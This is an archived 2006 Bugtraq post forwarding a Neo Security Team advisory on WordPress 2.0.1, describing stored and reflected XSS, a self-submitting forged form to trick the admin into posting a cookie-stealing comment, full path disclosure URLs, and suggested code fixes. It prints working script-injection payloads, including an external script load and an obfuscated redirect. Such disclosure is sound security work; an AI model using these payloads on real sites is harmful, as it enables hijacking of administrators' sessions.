lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [thread-next>] [day] [month] [year] [list]
Date: Tue, 28 Feb 2006 12:19:26 -0500
From: <Michael.Wade@...guson.com>
To: <bugtraq@...urityfocus.com>
Subject: FW: WordPress 2.0.1 Multiple Vulnerabilities


I see this only as a problem if the admin has it set to automatically
post comments. Does anyone know if this is the behavior on a default
installation? That and idiot admins approving a comment with bad code in
it. 

And what about filtering out %22? Does it do this already?

-----Original Message-----
From: k4p0k4p0@...mail.com [mailto:k4p0k4p0@...mail.com] 
Sent: Monday, February 27, 2006 6:31 PM
To: bugtraq@...urityfocus.com
Subject: WordPress 2.0.1 Multiple Vulnerabilities

/*
---------------------------------------------------------------
[N]eo [S]ecurity [T]eam [NST](r) WordPress 2.0.1 Multiple
Vulnerabilities
---------------------------------------------------------------
Program : WordPress 2.0
Homepage: http://www.wordpress.org
Vulnerable Versions: WordPress 2.0.1 & lower ones
Risk: Critical!
Impact: XSS, Full Path Disclosure, Directory Listing

-> WordPress 2.0.1 Multiple Vulnerabilities <-
---------------------------------------------------------------

- Description
---------------------------------------------------------------
WordPress is a state-of-the-art semantic personal publishing 
platform with a focus on aesthetics, web standards, and usability. 
What a mouthful. WordPress is both free and priceless at the same time.

- Tested
---------------------------------------------------------------
Tested in localhost & many blogs

- Bug
---------------------------------------------------------------
The vendor was contacted about some other coding errors that are not 
described here, the vendor was noticed about these bugs when this 
advisory was published.

<+ Multiple XSS +>
There're multiple XSS in `post comment':

[1] `name' variable is not filtered when it's assigned to `value'
    on the `<input>' in the form when the comment it's posted.
[2] Happends the same as [1] with `website' variable.
[3] `comment', this variable only filtered " and ' chars, this makes 
    possible to use < and >, thus this permit an attacker to inject 
    any HTML (or script) code that he/she want but without any " or ' 
    character, this only happends if the user that post the comment it's

    the admin (any registered kind of `user'). 

If you (or victim) is a unregistered user, you can use " and ' in your 
HTML/script Injection using `name' or `website' variables, but if the 
victim is the admin or a registered user these 2 fields described above 
aren't availabe in the form so you cannot even give a value to them.
The only remaining option it's to use the `comment' variable but here 
we have the problem that we cannot use " or ' in HTML/SCRIPT Injected
and 
we have to make the admin to post the comment (POST method).

<+ Full path disclosure & Directory listing +>
When I discovered this bug, I reported it to some pepople before 
public disclosure, I was noticed that this isn't new and I 
decided to look why they haven't patch this bug. 

As this bug it isn't patched yet, I tryed to know why and I found 
something like this in their forum (I don't know if the person 
that posted this was the admin but it gives the explanation):
(Something like the following, it's not textual).
`... these bugs are caused by badly configured .ini file, it's not 
a bug generated by the script so it cannot be accepted as a bug of 
WordPress...'. This is not an acceptable answer, if you think it is, 
a bug caused because of register_globals is Off it's .ini fault and not 
the script, they have to be kidding, if they want to make good software,

they have to make as far as the language can, to prevent all bugs.

There're multiple files that don't check if they are been call 
directly. This is a problem because they expect that functions 
that the script is going to be called to be declared.
This kind of bug it's taken as a Low Risk bug, but it can help 
to future attacks.

- Exploit
---------------------------------------------------------------
-- Cross Site Scripting (XSS)
PoC:
[1] Post a comment with the following values (as unregistered user):
    (No possible profit)

Name   : "><script>alert("WordPress PoC from");</script>
Mail   : neosecurityteam@....net
Website: "><script>alert("[N]eo[S]ecurity[T]eam
www.neosecurityteam.net");</script>
Comment: www.neosecurityteam.net/foro/

The injected HTML code only affects the user that posted it, not others.

[2] This way it's more intresting and useful. 
In this case the HTML Injected will stay in the board affecting each
person 
who see it. 
But we have two problems:
[I ]- This comment must be posted by the admin
[II]- We only can use the `comment' field, because the admin form to
make 
      the comment doesn't need the `name' or `website'.
      Also the injected code cannot have any " or ' chars.

Here are my solutions:
[I ]- We cannot give to the admin a `malicius' URL to steal the cookie
      because it isn't via GET, it's via POST. So the solution it's to 
      make a copy form of the real one and set the default values to 
      the corresonding field (`comment') to make the stealing.
      Also make the form submit itself when the page loads. Thus, we
give 
      the admin the URL of this form and he/she will post the comment 
      with the values we set before. :)
[II]- We can only use this field to make the injection, the `big'
problem 
      its that we cannot use " or ' chars wich means that something like

      window.location = "http://www.google.com.uy"; won't work.
     
Here are some real examples:

- <script>alert(document.cookie)</script>
- <script>alert(String.fromCharCode(80,111,67,32,111,102,32,87,111,114,
  100,80,114,101,115,115,32,98,121,32,75,52,80,48,32,102,114,111,109,32,
  78,83,84))</script>
- <script src=http://www.neosecurityteam.net></script>
- <script>document.location = String.fromCharCode(104,116,116,112,58,47,
  47,119,119,119,46,110,101,111,115,101,99,117,114,105,116,121,116,101,
  97,109,46,110,101,116)</script>

As you can see this bug it's exploitable, it's only knowing a bit 
deeper how to do XSS under some conditions. There're more 
possibilities than described above, investigate yourself. 

-- Full path disclosure & Directory Listing
Directory Listing: www.victim.com/wordpress/wp-includes/

Full path disclosure:
www.victim.com/wordpress/wp-includes/default-filters.php
www.victim.com/wordpress/wp-includes/template-loader.php
www.victim.com/wordpress/wp-admin/edit-form-advanced.php
www.victim.com/wordpress/wp-admin/edit-form-comment.php
www.victim.com/wordpress/wp-includes/rss-functions.php
www.victim.com/wordpress/wp-admin/admin-functions.php
www.victim.com/wordpress/wp-admin/edit-link-form.php
www.victim.com/wordpress/wp-admin/edit-page-form.php
www.victim.com/wordpress/wp-admin/admin-footer.php
www.victim.com/wordpress/wp-admin/menu-header.php
www.victim.com/wordpress/wp-includes/locale.php
www.victim.com/wordpress/wp-admin/edit-form.php
www.victim.com/wordpress/wp-includes/wp-db.php
www.victim.com/wordpress/wp-includes/kses.php
www.victim.com/wordpress/wp-includes/vars.php
www.victim.com/wordpress/wp-admin/menu.php
www.victim.com/wordpress/wp-settings.php

- Solutions
---------------------------------------------------------------
<+ Cross Site Scripting (XSS) +>
Change lines ~21 of 'wp-comments-post.php' to:
$comment_author       = htmlentities(trim($_POST['author']));
$comment_author_email = htmlentities(trim($_POST['email']));
$comment_author_url   = htmlentities(trim($_POST['url']));
$comment_content      = htmlentities(trim($_POST['comment']));

<+ Full Path Disclosure & Directory Listing +>
In the first line of each vulnerable file you should write:
 if (eregi('name_of_the_file.php', $_SERVER['PHP_SELF']))
     die('You are not allowed to see this page directly');

- References
---------------------------------------------------------------
http://NeoSecurityTeam.net/advisories/Advisory-17.txt

- Credits
--------------------------------------------------------------
Discovered by K4P0-> k4p0k4p0[at]hotmail[dot]com

[N]eo [S]ecurity [T]eam [NST](r) - http://NeoSecurityTeam.net/

Irc.InfoGroup.cl #neosecurityteam
Questions? (Eng | Spa) -> http://NeoSecurityTeam.net/foro/

- Greets
---------------------------------------------------------------
Paisterist 
HaCkZaTaN 
Link 
Daemon21 
erg0t 
NST Comunity!

@@@@'''@@@@'@@@@@@@@@'@@@@@@@@@@@
'@@@@@''@@'@@@''''''''@@''@@@''@@
'@@'@@@@@@''@@@@@@@@@'''''@@@
'@@'''@@@@'''''''''@@@''''@@@
@@@@''''@@'@@@@@@@@@@''''@@@@@
*/


Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ